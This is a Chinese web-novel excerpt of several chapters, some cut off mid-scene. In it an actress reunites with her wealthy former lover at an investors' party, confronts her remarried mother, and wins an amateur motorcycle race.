《坠落蝴蝶海》 1. 重逢(一) 《坠落蝴蝶海》全本免费阅读 周日,中午12点10分。 室外气温35°,湿度40%—50%。 烧了一个晚上。 梁舒音从无光的卧室醒来,浑身几乎汗湿。 她拧开床头小灯,伸手摸到床头柜上的体温枪,拿过来,放入耳道内测了下。 36.9° 盯着这个数字默了片刻。 她撑起手肘,拉开床头柜,不死心地,翻出一根老式水银体温计。 几分钟后,体温计显示,36.8° 经纪人周彦发了话,如果中午12点她还没退烧,投资人的酒局她就不用去了。 烧退了。 酒局逃不掉了。 梁舒音起了床,赤脚走到窗边。 “哗啦”一声,窗帘被掀开,光乍然涌入室内。 天下着蒙蒙细雨,雨丝斜斜飘进半阖的窗户。 空气湿润,却并不清凉,呼吸中尽是闷意。 潮闷粘腻的七月,她最讨厌的盛夏。 到底还是来了。 身后的床上,手机震动起来。她转身,半跪在床上,拎起手机。 “音音,退烧没?” 陈可可火急火燎的声音撞进她耳膜。 陈可可是她的闺蜜兼助理,两人从高中到大学,同窗七年,毕业后各自发展了一阵。 后来,陈可可创业失败,她状态也不太好,两人便又凑在了一起。 抱团取暖。 “三十六点九。”一开口,她嗓子像灌了沙,又干又涩。 将电话放下,她拧开床头柜的保温杯,仰头喝了好几口。 陈可可“啊”了声,知道这意味着什么,不免有些担心她。 “你这去了,能扛得住吗?” 她知道梁舒音已经反复烧了三天,温度降下去,又起来。哪怕现在退了,也可能随时再反弹。 “还好,除了头痛,没什么其他症状。” 她语气淡淡的,拧好杯盖,走到衣帽间里,打开其中一个柜子,白皙修长的指尖掠过一件件盛装。 “这个周扒皮,明知道你病了,还非要拉你去见什么投资人,你是演员,又不是公关。” “投资人就了不起了?多大的人物啊,还是说他活不过今天了?” 四平八稳的人终于被逗笑了。 “好了,可可。” 梁舒音反倒安抚对方,“别担心了,那个投资人又不会把我吃了。” 陈可可也知道定下的事,多说无益,叹口气道:“那我下午四点过来接你?” “好。” 挂了电话,梁舒音关上这间满是华服的衣柜。 私人酒局,又不是商务活动,没必要那样隆重。 她去另外个私服的衣柜里,找了件薄荷绿的吊带裙出来。 裙子长及脚踝,修身款,但又不会太紧,真丝质地,比礼服舒服多了。 将衣服往床上一扔,她褪掉身上的睡裙,走进了浴室,脑子里却莫名想起了周彦的话。 “这个投资人来头可不小,刚涉足娱乐圈,就投了个好几个大IP。给人留个好印象,以后合作的机会多着呢。” “还有啊,随时注意表情管理,可别冷着张脸,把人给我得罪了。” 她对着浴室的镜子,微扯了下唇角。 一脸病态的憔悴。 真难看。 下午四点,陈可可准时过来接她。 雨天易堵车,更何况还是周末。 保姆车走走停停,梁舒音靠在椅背上,边听陈可可跟她对通告,边闭目养神。 “下周三有个杂志采访,周五广告拍摄,周六...” 她前半年都在剧组拍戏,刚杀青,商务便集中安排在了接下来的空档。 没听见动静,陈可可扭头去看后座的人。 梁舒音靠在后座上,微闭着眼。 她五官明艳,皮肤瓷白,日常不喜化妆,今天也只铺了点淡妆,配合着瘦削肩头的薄荷绿吊带。 一副我见犹怜的脆弱与动人。 头发没做造型,黑长直随意垂落胸前,反而营造出随性慵懒的美。 足够简单,却也足够惊艳。 别说男人,就连她这样随意一瞥,那颗心都忍不住加速了下,暗骂一句女娲造人的不公平。 “音音,你晚上想吃什么?”她伸手去打开电台,扭头问后面无精打采的人。 会所的酒局肯定吃不饱,她得提前考虑这些。 “火锅。”后排的人眼睛都没睁。 陈可可瞪圆了杏眼,“你都病了,还想吃这么重口味的东西?” 梁舒音终于慵懒地睁了眼,望着窗外的细雨,眼神飘忽。 闻言,慢半拍地转过头来,朝她眨了眨眼。 “以毒攻毒嘛。” 一个从不吃辣的人,突然想寻求刺激,无非就是想找点罪受。 陈可可都不用问为什么。 盛夏来了,这个理由足够了。 心疼她这副病恹恹的样子,想着明天也没拍摄,陈可可心软点了头。 “好吧。” 话音刚落,电台里就传来一则商业播报。 “虞海领军企业陆海集团,近日大刀阔斧的改革,引发了业内的关注。” “生物医药,AI人工智能,新能源,影视板块等领域的全新布局,彰显了陆海的野心。” “而这一切,都要归功于刚从国外归来的,陆海集团的唯一继承人,陆祁溟先生。” 陈可可正点开美食app,听见这则新闻,心头猛一惊,哆嗦着手,将电台切换成了音乐频道。 她心有余悸地瞥了眼后座的人。 梁舒音正偏头靠在椅背上,脸朝着窗外的方向,看不见表情。 似乎没什么反应。 应该是没听到吧。 陈可可重重吁了口气。 陆祁溟这三个字,虽谈不上是什么禁忌,但却是梁舒音心底的一个坎。 当年她跟陆祁溟在一起时,身边所有人都知道,陆祁溟宠她,百依百顺,几乎没有底线。 一个生来便在富贵顶端、顽劣肆意的人,会为她放弃所有原则,甚至连命都可以不要。 但后来,她却不告而别。 那时候陆祁溟找她都找疯了,连带着他们周围这些人都遭殃、受罪。 而她,就那样悄无声息地,消失在了所有人的世界里。 司机老张的话,打断了她的思绪。 “陈小姐,到了。” 这间会所,是虞海顶级的私人会所。 富丽堂皇,每一盏灯,每一块砖都充斥着金钱的味道。 会所是会员制,没会员卡或相关邀请,是无法入内的。 陈可可进不去,将她送到门口后,便去了附近的咖啡店等她。 包间在顶层,走廊的最里头。 电梯缓缓打开,梁舒音抬头望出去时,视线一顿。 尽头处,立了个身姿挺拔的男人。 男人一身白色衬衫,西裤笔挺,衬衫袖口挽起,露出一截肌肉紧实的小臂。 他一手拿着电话,一手夹烟,指尖那点红,在暗光下明明灭灭。 两秒后,他抬手,吸了口烟,手搁在窗台上的烟灰缸边缘,轻弹了下烟灰。 只瞥了眼,她便收回视线,走出电梯,朝包间走过去。 华贵地毯在脚下铺陈。 她走路很轻,但男人还是听见了她的动静,缓缓回过头来。 光线暧昧的走廊,隔了层薄薄的烟雾。 两人眸光相对。 男人五官俊朗,眉目英挺,视线落到她身上,无波无澜,像打量任何一个陌生人那般。 漫不经心的一瞥后,他收回目光,继续投入到电话中。 梁舒音也在微顿后,垂下眸子,重新迈出了脚步。 包间大门在男人旁边。 她走过去,在他身边,缓缓推开了那扇厚重的木门。 衣香鬓影,觥筹交错,一个名利场的世界在她眼前展开。 周彦已经在跟人推杯换盏了。 见到她,上下瞄她一眼,似乎对她这副随意的打扮有些不满。 但好在她天生丽质,哪怕披个麻袋也是好看的。 知道她是带病过来的,周彦也没数落她,将她拉过去,介绍给在座的几个大咖。 这是她下部戏的制片人攒的局。 除了导演、制片外,还有好些她认识,但不太熟的业内大佬。 梁舒音虽然对酒局很抗拒,但既然来了,她也不会扭捏。 借着这次机会,她大大方方介绍了自己,端着杯香槟一一敬了酒。 这些大佬,此前一直对她印象不错:漂亮,演技过关。 最关键的是,她人不作,长年低调拍戏,还是虞大出身的学霸,背调也清白,没什么隐藏的雷点。 一轮敬酒下来,大咖们见她言语间谦虚,又带了脑子,对她的印象是越发不错了。 挨着打了招呼后,周彦附耳过来。 “最重要的那位大人物,刚出去打电话了,等会儿给你...” 话未说完,包间大门被推了开。 周彦朝那边瞄了眼,目露精光,“得,这不就来了。” 顺着他的视线望过去,梁舒音神色微顿。 进来的男人衬衫西裤,简约的装扮,却 2. 重逢(二) 《坠落蝴蝶海》全本免费阅读 卫生间里外都有洗手池,梁舒音不想被人撞见窘迫的样子,自然决定去里面。 然而,还没推门进去,胃里就一阵翻涌。 来不及了,她直接靠在外面的盥洗池上,干呕了起来。 一天没吃饭,根本吐不出什么。 胃里平复下来后,她缓了口气,将手伸到水龙头下,洗手漱口,又接了捧水,拍在脸上醒酒。 有脚步声在旁边停下。 一只价格不菲的深蓝色男士腕表,被搁在了她旁边的大理石台面上。 接着,另一只水龙头在感应下,开始出水工作。 她下意识抬头。 洁净无瑕的镜子里,她看见了一张俊朗到无可挑剔的脸。 察觉到她的注视,男人亦缓缓抬头。 两人的目光,在镜中相遇。 她微醺,目光恍惚,有那么一个瞬间,她以为是在做梦。 但男人冷淡的眼神,将她拽回了现实。 她垂下了眸子。 继续将手腕放在水龙头下,冰凉的触觉,令她清醒了不少。 没多久,一旁的水龙头停止了工作,男人扯了纸巾擦手,他的动作极慢,慢到梁舒音怀疑时间静止了。 安静的空间,再无别人。浅浅水声中,她听见两人的呼吸声一前一后。 几乎交叠在一切。 时间被放慢,拉长。 直到,那块腕表被拿走,旁边的男人终于抬脚离开了。 待身后的脚步声彻底消失了,玩水的人才反应过来,她刚才好像忘了跟这位投资人打招呼了。 以他的脾气,她大概已经把人得罪了。 梁舒音抬起头,对着镜子整理了下自己,回了会所包间。 人群散了来开,三三两两聚在一起,她找了个安静的角落,拿出了手机。 周彦知道她不舒服,也就由她去了。 手机里有一款简单的小游戏,是几年前下载的,无聊或者压力大的时候,她都会拿出来解闷。 驾轻就熟地玩了两局,胜率百分百。 第三局快要结束时,前方隐隐传来了对话。 “陆总,听说陆海集团要和秦氏联姻,这小道消息可是真的?” 男人顿了下,“到时候,请各位喝喜酒。” 一个恍神,手机游戏里的小人儿坠了崖。 难得拿了个败绩。 梁舒音收起手机,从侍者手里拿了杯香槟,不敢再喝了,只轻抿了口,拿在手里把玩。 有个戴黑框眼镜的年轻男生朝她走过来,坐在了她对面。 她认得这人,初出茅庐的新锐导演,赵卓。 “赵导您好?”她主动打招呼。 “你认得我?”赵卓有些意外。 “当然了。”她笑道,“您拍的无人之境,我可是看了好几遍。” “你的戏也不错,尤其是去年拿了奖的暴雨中。” 赵卓年轻,才华横溢,又没有资深名导的架子,两人聊得挺愉快的。 没多久,赵卓的朋友就过来叫他,“来,给你介绍个人认识。” 来这的人,多半都是抱着结识人脉的目的。 这很正常,在这个圈子里,天赋重要,努力重要,机遇更重要。 临走前,赵卓拿出了手机,试探性地看着她,“要不要加个联系方式?” 她顿了下,“好的,赵导。” 等赵卓离开了,她再抬头时,那位冷淡的投资人已经不在了。 她默了片刻,发了信息给正在社交的周彦,说自己像是又烧起来了。 任务完成了,周彦这次没强留她。 “行,赶紧回去休息吧。趁进组前这段时间,好好调理下身体。” 得到应允,她给陈可可发了信息。 “我这边好了,不用等我,你先去点菜。” 走出会所,晚风拂过,她打了个喷嚏。 怕真的再烧起来,她从包里拿出一件真丝白衬衫,罩在身上。 衬衫宽松,下摆没扣,被她左右交缠着,在胸前随意打了个结。 陈可可定的火锅店就在附近。 她点开定位,查看了导航。 确定位置后,她边探查周遭的环境,边从包里摸了顶渔夫帽出来。 虽然她这大半年都在剧组拍戏,没曝光没热度,没什么被跟踪的价值,但舆论环境太差,凡事还是得小心。 会所门口,几扇棕榈阔叶,在夜风中,忽开,忽合。 她将帽檐往下一拉,视线朝右手边看去,透过棕榈树的罅隙,忽然一顿。 右侧的街角处,停了辆熟悉的黑色跑车。 车前,陆祁溟长身玉立,偏头点一支烟,毫不避讳地望着她。 她怔在了原地。 她不会自作多情到以为对方是在等她。 只是,那条街窄小,又是通往火锅店的必经之路。 这就意味着,她要去火锅店,必然得从这个男人的面前经过。 犹豫片刻,她抬脚走了过去。 华灯初上,雨已停,夜风潮湿。 她走进霓虹里,脚步极慢地走着,一步一步,男人却始终立在那里没动。 两人的距离渐渐拉近。 几乎并肩。 她没停下。 路过了他。 她没想过要跟他打招呼。 出了会所,便不再是工作的范畴,况且,她也不想被认为是在套近乎。 然而,擦肩而过那一瞬,却听见他开了口。 “酒量这么差,还敢进这个行业。” 熟悉的低哑嗓音,狂妄自大的语气,随着夜风,淡淡萦绕在耳后。 她顿下脚步,没侧身去看他,目光依然直视着前方,语气四平八稳。 “演员靠的是演技,不是酒量。” 男人低沉的语气略带嘲讽,“演技?” 陆祁溟缓缓走到她面前,高大身影瞬间遮住了她的光。 “你倒是提醒我了。” 他低头看她,目色深沉,“当年,你就是靠着这双勾人又天真的眼睛,把我给骗了的。” 让他以为,她是爱他的。 听见这句陈年指控,梁舒音也没生气。 她微微仰头,直视着眼前压迫感极强的男人,“所以陆祁溟,你还在恨我吗?” 这是今晚,她第一次叫他的名字,而对面的男人却是微怔了下。 没有爱,哪来的恨。 承认了恨,也变相承认了,他还爱她。 陆祁溟将那支烟捏在指尖,偏头扫了眼街边的霓虹,而后食指轻点在烟上。 “梁舒音,你想多了。” 他转回视线,垂眸睨她,“你对我而言,不过就是赚钱的工具。” 男人唇角微弯,眸光冷戾,“工具,既可以是你,也可以是别人。” 梁舒音望着他,眼睛里看不出任何情绪。 “那就好。” 不爱。 不恨。 不需要再有交集。 她绕开了他,打算离开。 然而,刚走了没几步,手腕忽然被人用力拽住。 一阵天旋地转。 她被他压在了路边,那堵蔷薇盛放的墙上。 后背的撞击,让她吃痛皱眉,仰头跟他对 3. 前奏 《坠落蝴蝶海》全本免费阅读 七月中旬,虞海的三伏天。 昨晚那场暴雨,非但没浇灭恼人的高温,空气中反倒还多了丝潮意。 盛夏的下半场,以暴雨为界,闷热而粘腻地拉开序幕。 早上九点五十。 梁舒音在离岛咖啡店门口,停住了脚步。 她收了伞,手搭上深棕色木门时,略微一顿,而后拉开了咖啡店的门。 时间还早,店里顾客不多,一男一女俩服务员正在操作台边闲聊。 听见动静,两人闭了嘴,抬头去招呼客人。 一抹清凉的绿扑面而来。 两人耷拉的眉眼,骤然明亮。 刚进门的女孩,又瘦又高,乌发及腰,墨绿色吊带挂在肩头。 人薄得跟纸片似的。 牛仔裙下,那双笔直的长腿,像羊脂玉,比他们打出的奶泡还白。 进门后,梁舒音环视了圈室内,跟服务员示意了下,便朝着最里头那桌走去。 在她身后,俩服务员暗自抽了口凉气。 这张明艳精致的脸,哪怕和娱乐圈刚评出的最美脸孔比,也毫不逊色。 “上帝可真不公平,有些人不光长得好,还是含着金汤匙出生的。” 女服务员叹口气,“而有些人,只能顶着毒辣的日头来打工。” “你怎么知道人家是富家千金?” 男服务员扯下外卖订单的票据,提醒她,“还不快过去点单。” 女生拿起饮品单,朝门外那辆加长版豪车努了努嘴。 “那辆车,整个虞海市掰着指头数,也不会超过五辆。” 梁舒音走到桌边,拉开椅子,朝对面不冷不淡喊了声。 “妈。” 听到动静,舒玥回过神来,抬头看向面前高挑靓丽的女孩。 “音音来了。”她唇边漾起克制的笑。 梁舒音将遮阳伞和包放下,语气疏离冷淡,“嗯。” 舒玥从旁侧拿出一大一小两个黑色盒子,推到她面前。 “这季的新款项链和连衣裙,妈妈觉得很适合你,你看看喜不喜欢。” 梁舒音冷淡瞥了眼印着奢侈品logo的丝绒盒,提不起丝毫的兴致。 她看向舒玥,单刀直入,“妈,你找我什么事儿?” “没什么特别的事。” 舒玥优雅地抿了口咖啡,脊背挺得笔直,“几个月没见你,妈妈想你了。” 服务员上来点单,梁舒音要了杯拿铁。 “再来块丝绒蛋糕吧,你从小不是最爱吃那个。”舒玥补充道。 “不用了。”梁舒音语气淡淡的,“现在不喜欢了。” 舒玥嘴角微僵,很快又恢复了坦然自若的优雅。 咖啡端了上来。 搅拌着褐色液体,梁舒音终究忍不住问出硌在心底的那件事。 “妈,你把舞蹈工作室转出去了?” 舒玥点头,“你陆叔叔不希望我太累,我干脆就转手了。” 梁舒音只觉得有什么东西卡在喉头。 不上不下,令她窒息。 曾几何时,母亲总是为了她所谓的理想,忙得不见人影。 而梁舒音跟父亲,便十年如一日地让渡时间给她。 从小学到高中,她生命中所有的陪伴都是由父亲完成的。 因为在舒玥眼里,那几间舞蹈工作室,是她的命,比女儿还重要。 可如今,她却因为其他男人的一句话,轻易就将多年心血撇弃干净。 窗外日头毒辣。 每个人脸上都是一副生无可恋的表情。 如果要问梁舒音,春夏秋冬她最讨厌那个季节,那无疑是夏天。 夏天,万物蓬勃生长的季节。 繁盛,粘稠。 却也破碎,清冷。 梁舒音将视线从熙攘的街头转回,扯了扯唇角,冷淡而平静。 “妈,原来你不是忙得没时间陪我和爸,只是在天秤的两端,我们自始至终都不够份量。” “不是的,音音...” 手头的勺子一松,陶瓷碰撞,发出刺耳声响。 她烦躁地打断舒玥,“如果没什么事,我就先走了。” 她抓过一旁的伞和包,起身时,手腕却被舒玥扣住。 “下周末是你陆叔叔的生日,他儿子会回来,妈妈希望你也能过来。” “我跟你陆叔叔结婚两年了,你们也是时候认识一下了。” 原来,这才是舒玥今日找她的目的。 唇角牵起讽刺的笑,梁舒音看向面无愧色的母亲。 “你是不是忘了,那天也是爸爸的祭日?” 你怎么敢。 怎么能,说出这样的话。 喉头涌上腥甜。 她再度开口,低冷的语气中,带着不甘的质问。 “妈,凭什么?” 推开咖啡店的门,烈日焚身,她却莫名感觉到一股冷意,从脚底蔓延至了头顶。 她没撑伞,头也不回地迈入了毒辣的日头下。 回到家,她放下东西,去了阳台。 昨晚的暴雨是半夜来的,她忘了关窗,阳台被风雨摧残得一片狼藉。 爸爸最喜欢的那盆君子竹被风吹倒,土洒了些出来,不过还好,植株没受到什么损害。 买回这株植物时,爸爸就跟她说,做人要像这竹子一样。 不可无傲骨,也不能有傲气。 她的爸爸,这样一个风清月朗的人,最后竟然... 强迫自己压下情绪,她起身去拿了拖把来清理地面,之后又收拾花架上的其他花。 正值暑假,没什么事,她每隔一天会去学姐的咖啡店兼职。 今天恰好不用去,收拾完阳台,她开始打扫房间。 自从爸爸去世后,她就一个人住在他留给她的这套房子里。 套四的户型,面积不小,打扫起来并不轻松。 但她只要有空,就会将每个房间都打扫得一尘不染。 因为爸爸喜欢干净、明亮的环境。 忙完这些后,她去冲了个澡。 裹着干发帽出来,她将这两天的脏衣服扔进洗衣机里。 倒入青柠味的洗涤剂,滚筒刚转起来,陈可可的电话便进来了。 “音音!” 听筒里,尖锐嗓音撞进她耳膜,“下午那场比赛,听说有个女车手退赛了。” “什么比赛?” 梁舒音将手机架在桌上,解开干发帽,随手擦着还在滴水的长发。 “就GD俱乐部的那场摩托车比赛。” 陈可可接着发了条比赛信息的链接过来。 她点开链接。 是GD官微的一则比赛公告。 “听说他们正在紧急寻找候补的,奖金挺丰厚的,你不是在攒钱吗,要不要去玩玩?”陈可可兴奋怂恿她。 屏幕里的信息慢慢下滑,梁舒音睫毛如蝶翼轻颤,面色不为所动。 “不去。” 陈可可顿时萎靡下来,“啊...真不去么?” 像是察觉到什么,梁舒音停下手头的动作,“你想让我去?” 那头忽然没声了。 “跟我说实话,可可。” 陈可可吞吞吐吐,好半天才说出一个人的名字。 林岚。 林岚是他们隔壁那所艺术院校的学生,也是个玩车的。 这人刚从陈可可手里,把她刚谈了两个月的男朋友陈慎,给撬走了。 “你想让我去给你报仇?” “现在那群人都压她能拿第一,凭什么呀!” 陈可可咬牙道,“凭什么她干了坏事,还能这样被众星捧月。” 梁舒音一目三行扫着链接里的比赛信息。 一个非官方的比赛,奖金的确挺诱人的。 页面拉到底部,目光落在最后一句观赛嘉宾上。 像是为了吸引参赛者,特意加上了某个大神的名字。 视线稍顿。 几秒后,她退出了界面。 推开窗户,梁舒音支着手肘,靠在窗边。 楼下花园里,一只小金毛在水坑里,蹦跶得正欢。 浑身弄脏了,被主人拎起来,套上狗绳栓在坐椅旁,耷拉着脑袋,一脸的不开心。 电话对面的陈可可,大概也是这种表情。 片刻的沉默后,她开口道:“好,我答应你。” 陈可可几乎都要放弃了,电话里沉默的人却忽然应下。 她懵了两秒,“真的吗?!” 她知道梁舒音从不参加比赛,她当年跟她舅舅学车,纯粹是为了发泄。 “嗯。” 梁舒音依旧四平八稳,“不过,我不能保证能拿第一。” 陈可可才不管她这话的虚实。 她舅舅顾言西,早年可是赛场上的大神,顾言西调教出来的人,自然也差不到哪儿去。 “那我先跟那边联系了。” “好。” 挂断电话,梁舒音去衣柜里找了件薄荷绿的吊带和牛仔短裤换上,头发也没吹,拿了钥匙,就下楼吃东西了。 毕竟是替别人比赛,她还是打了通电话给顾言西求教。 顾言西是医生,昨晚通宵做了台手术,刚回家睡下,被她吵醒,也不生气。 只是,听她说要去比赛时,意外地哼笑了声。 “怎么了?” 梁舒音戳着碗里的混沌,“顾言西,你是觉得我铁定会输?” 顾言西这人性子冷淡,总是一副对什么都不大在乎的样子。 “随便比,输了算舅舅的。” “怎么算?给钱吗?” “行啊,这比赛奖金多少,你输了我就转你多少。” “行,我录下来了。” 话虽如此,顾言西还是给她传授了些比赛的技巧,让她别紧张,只是个小比赛而已。 不过,他也清楚,按梁舒音这性子,天塌下来也不会紧张。 末了,像是想起什么,问她:“是不是GD的那场比赛?” “是。” “听说过。” 没休息好,顾言西嗓子不太舒服,索性下床去给自己倒了杯水。 “陆祁溟赞助的。”他喝了口水,语气淡淡的。 梁舒音没好奇陆祁溟是谁,只问他:“还有其他需要注意的吗?” 顾言西又给她交待了几句,便掐断了电话。 -- 黑暗的室内,窗帘紧闭,气氛压抑而紧张。 地上跪着个男人,黄毛寸头,高大身材因恐惧瑟缩成一团。 男人旁边是个年轻女孩,约莫二十出头,头发凌乱,红着双眼,像是被欺负了。 “哪只手?” 在他们前方的墨绿色丝绒沙发里,坐着个一身黑的俊朗男人。 男人马丁靴踩在地上,敞开了腿,身体前倾,双手杵在膝盖上,一只手把玩着打火机。 声音懒懒的,姿态也懒懒的。 他语气分明温和,但跪着的黄毛却止不住浑身发抖。 “溟哥,我...我真不是故意的。”< 4. 黑马 《坠落蝴蝶海》全本免费阅读 GD组织的这场摩托车比赛,分了职业组和业余组两场。 梁舒音参加的是业余组,她下午提前去了赛场。 GD的人没听过她的名字,心里没底,让她先去场上试跑下。 而她也需要熟悉场地,包括赛道的布局,转弯的角度等,便答应了。 其他参赛的选手,也对这个突然出现的对手摸不准,纷纷跑来围观。 她压着速度适应了下场地,两圈下来,围观的人都松了口气。 凑数的。 不足为惧。 这次比赛,业余组夺冠呼声最大的林岚,也在边上观摩了全程。 “还以为是哪路避世神仙,也就这么回事儿。”她旁边的男赛车手嗤鼻一笑。 林岚眼底浮现胜券在握的笑,“走吧。” 下了场,梁舒音准备去换衣服,陈可可给她看了下视频,分析了几句,就去找负责人沟通后续事宜。 更衣室在赛场旁的一栋楼里。 建筑老旧,外立面爬满绿藤,没有电梯。 从楼梯拾级而上,梁舒音推开二楼的门,迎面就撞见了两个熟人。 陈可可的前任陈慎,还有今天业余组比赛的焦点,林岚。 她知道刚才林岚在场边盯着她,似乎没把她当回事,此刻也只是冷淡地扫了她一眼。 倒是陈慎,在辨认出她后,面上有了些微妙的反应。 他意识到她出现在这里的身份—— 是来比赛,而非观赛的。 擦肩而过时,陈慎叫住了她,“梁舒音,你就是那个替补的?” 他来晚了,没看见刚才的试跑,而林岚也没告诉他,补上来的会是他前任的闺蜜。 “有问题?” 梁舒音的五官属于明艳那一挂,带了点攻击性,抬眼看人时,若是不笑,给人很冷很不好惹的感觉。 被她冰块一样的目光盯着,陈慎原本仗着身高拿捏出的架子,很快溃败。 “你想拿名次?”他语气软了几分。 毕竟跟陈可可在一起过,他自然知道梁舒音也玩车,只是从没见她参加过比赛。 “不可以吗?” 梁舒音句句反问,句句呛人,偏那语气和姿态又是淡漠的。 陈慎被她一噎,目光在她精致的五官上游走。 “如果你是为了替陈可可出气,没必要。有岚岚在,你拿不到第一的。” 依旧是那副自以为是的惺惺作态样。 “陈慎。”梁舒音用审视的目光盯着他,“可可怎么会看上你?” 陈慎脸色一沉,“你什么意思?” 懒得跟他废话,梁舒音冷言提醒他,“麻烦你,还有你的岚岚,以后都离陈可可远点儿。” 不等男人回话,她拎着头盔,推开了女更衣室的门。 空荡荡的走廊,只剩下木门反弹回来的咚响声。 对面的男更衣室内,陆祁溟靠在门边,微扯唇角,低笑出声。 门外那个女人的音色很好听,像嗓子被塞了颗薄荷糖,甜而不腻。 语气却又淡漠犀利,有种年少气盛、目空一切的无畏。 他将手头黑色签名的头盔放回装备架上,唇间缓缓溢出三个字。 梁舒音... 野子从里头换好衣服出来,见陆祁溟唇角带笑,问他。 “怎么了?” 野子是陆祁溟的前队友,也是目前GD的负责人,这次比赛就是他组织的。 “没什么。”陆祁溟回过头,扫了眼他身上的装备。 “怎么样?”野子开玩笑说,“上场去玩玩?” 陆祁溟没应,只是神色淡然地笑了下。 野子知道,自从几年前退圈后,他早就不上场了,自己不过是随口一问,不会硬拉他上去。 “那个,这次比赛借你的名头用了下,你没生气吧?”野子心虚地看着他。 之前有俩老队员被其他俱乐部挖走,其他人一看,也动了离开的心思。 说白了,还是嫌俱乐部穷,没前途。 野子那会儿其实已经跟陆祁溟谈好了比赛赞助的事,但那些人不信,毕竟这种好事已经黄过好几次了。 更何况,赞助人还是许久没露过面的昔日车神。 为了留人,野子一着急,当场就说陆祁溟会来观赛,是真是假,到时候一看便知。 然而,一时冲动把话放出去了,他又不敢去问陆祁溟了。 陆祁溟将唇上没点的烟摘下,捏在指尖把玩。 “你都先斩后奏了,这会儿想起来问我了?” “那不是当时被逼急了,没办法嘛。” “就指望着我听见风声,主动把人给你送过来?” 野子嘿嘿笑了两声,被看穿了也没什么可辩解的。 他打的就是这个主意。 “行了,下次提前跟我说一声,万一我人不在,没来,你不就落下个不讲信用的话柄?” 听到这里,野子总算将一颗心揣回了肚里。 他就知道这家伙向来仗义,绝不会对昔日战友袖手旁观。 更衣室里有面全身镜,野子整理着装备,瞥见眼角的细纹,转头,用羡慕的眼神盯着陆祁溟。 “你说都这么多年,你小子咋一点都没变,还是跟十几二十出头一样嫰?” 陆祁溟唇角弯了下,十分欠揍地道:“没办法,天生丽质。” 闻言,野子却是一愣。 陆祁溟当年是队里最小的,几乎有所人都宠着他。 本来天赋就极好,比赛几乎没输过,又长了副好看的皮囊,人张扬得跟出鞘的利刃似的。 只要他一上场,观赛的女生喉咙都要吼破,走哪儿都是鲜花掌声簇拥。 可是后来,他却突然毫无征兆地退了圈,再相见时,已经陌生了不少。 然而此刻,仿佛时光重叠,野子又看见了当年那个熟悉的少年。 有些无法用语言道出的隔阂,在这个瞬间被打破。 野子百感交集地锤他一拳,“得,我看你这张脸还能保鲜多少年。” 两人聊了会儿,陆祁溟忽然问:“这次有女车手?” 野子点头,“两个。” “一个叫林岚,挺厉害的姑娘,大家都把业余组的筹码压她身上了。” “至于另一个。”野子顿了下,“说实话,我也是今天才知道这姑娘的。” 玩车的人都有自己的圈子,但他从没听说过梁舒音这号人。 刚开始他心里还有些打鼓,但看了她刚才跑的那两圈,还行,给业余组凑个人头,完全够用了。 陆祁溟没再问什么,见比赛快开始了,跟野子说了句“好好准备”,便出了更衣室。 没一会儿,职业组的比赛就开始了。 场上氛围顷刻被点燃,震耳欲聋的呼声此起彼伏。 没什么太大的悬念,比赛名次跟众人预测的八九不离十。 陆祁溟在边上看着,中途接了通电话,回来时已经结束了。 秦授跟熟人聊完,拿了瓶水过来,扔给他。 “你那个前队友还是宝刀未老啊,中途被一小孩超过,没想到最后一圈还能追回来。” 陆祁溟接过水,下意识说了句,“毕竟是在风驰呆过的人,能差哪儿去...” 像是想起什么,他微顿,眼神虚虚地望着赛场,没了焦点。 秦授看他一眼,“走吧,去谈生意了,还是赚钱有意思。” 他知道,陆祁溟只要来露个面,就 5. 对视 《坠落蝴蝶海》全本免费阅读 从赛场下来,没了疾驰中风的加持,梁舒音浑身像被蒸笼罩着。 赛车服闷在毛孔上,里头的衣服已经湿得能挤出水来了。 她伸手去摘头盔,想了想,又顿住了。 场边的人都拿着手机在拍,若传到网上,被舒玥看见,少不了又是一顿争执。 从她跟顾言西学车开始,舒玥就不同意这事,觉得太危险了。 只是她管不了女儿,最后只能妥协,让她学归学,但不能参加比赛。 虽然,梁舒音本来也没想过要去参加比赛。 不想给自己找麻烦,于是,34°的闷热高温下,她顶着头盔下了场。 “怎么还不摘头盔。”刚那伙人赌输了,又开始压她的长相。 “不会是长太丑,不好意思被围观吧?” “你才丑,你们全家都丑。” 陈可可跳起来,恨恨地骂了句,就朝梁舒音跑了过去。 梁舒音带着头盔走了一截,热得快中暑了。 算了,知道就知道吧。 陆延盛生日在即,舒玥估计也忙得没空注意她了。 她伸了手,将头盔摘了下来。 一阵风过来,乌发在风中翻飞,她随手将头发往后撩拨了下,顿时舒服了不少。 她不知道,在她摘下头盔的瞬间,场外某处几乎沸腾了。 “WC,好正啊。” “如果林岚算系花级别的,那这位可是校花了。” “给钱给钱~” “行行行,愿赌服输。” “还真是个美人。”秦授有些意外,转头去看陆祁溟。 他却已经收了视线,正低着头,从烟盒里抖出一根,咬在唇上,用手挡着风,偏头去凑那粒在风中摇摇欲坠的火星字。 “这么漂亮的女车手,没想法?”秦授的口气似玩笑似认真。 陆祁溟朝女孩的方向瞥了眼,没什么表情,片刻后,他吁出一口烟圈,淡淡开口。 “走了。” 秦授觑他一眼,再想问什么,被他凌厉的眼风逼了回去。 然而,两人刚抬了脚,秦授的手机便响了起来。 “老王。”他挥了下手机,朝陆祁溟示意了下。 陆祁溟只能停步,站在一旁的香樟树下等他。 -- 走在围观的目光中,梁舒音既不紧张,也不慌乱,有男生在她旁边吹口哨,有人跟她搭讪,她都没搭理。 不多时,陈可可跑了过来,一手接过她头盔,一手递给她一瓶水,吹起了彩虹屁。 “音音你刚才太帅了,你简直就是我的神。” 早习惯了她的画风,梁舒音淡笑道:“这下解气了?” “我可太解气了!”陈可可重重地拍了下头盔,“我猜那个林岚应该快气死了...” 话音刚落,就见不远处的林岚被一群记者团团围住了。 “输给一个名不见经传的人,请问你有什么想法?” “赛前想到过会是这个成绩吗?” 林岚面无表情走着,微低着头颈,一路保持沉默。 倒是她旁边的陈慎,搂着她,边艰难地突破人墙,边替她发话。 “抱歉各位,麻烦让一下。” 有记者发现了这边的梁舒音,忙调转方向过来。 一个带俩,林岚身边慢慢空了下来。 巨大的失落感袭来,她紧抿着唇,铁青着一张脸,朝梁舒音望了过去。 她不是没输过,只是没想到会输给一个她压根就没放在心里的人。 还输得这样惨烈。 一种被碾压式的输法。 更可怕的是,刚刚在场上,她其实察觉到了,如果梁舒音想,还可以赢得更多。 只是她没有,全程都像是在玩似的。 没点天赋在身上,是不可能做到如此游刃有余的。 她输得心服口服。 但她赛前被捧得太高,摔下来,终究是疼的、不甘心的。 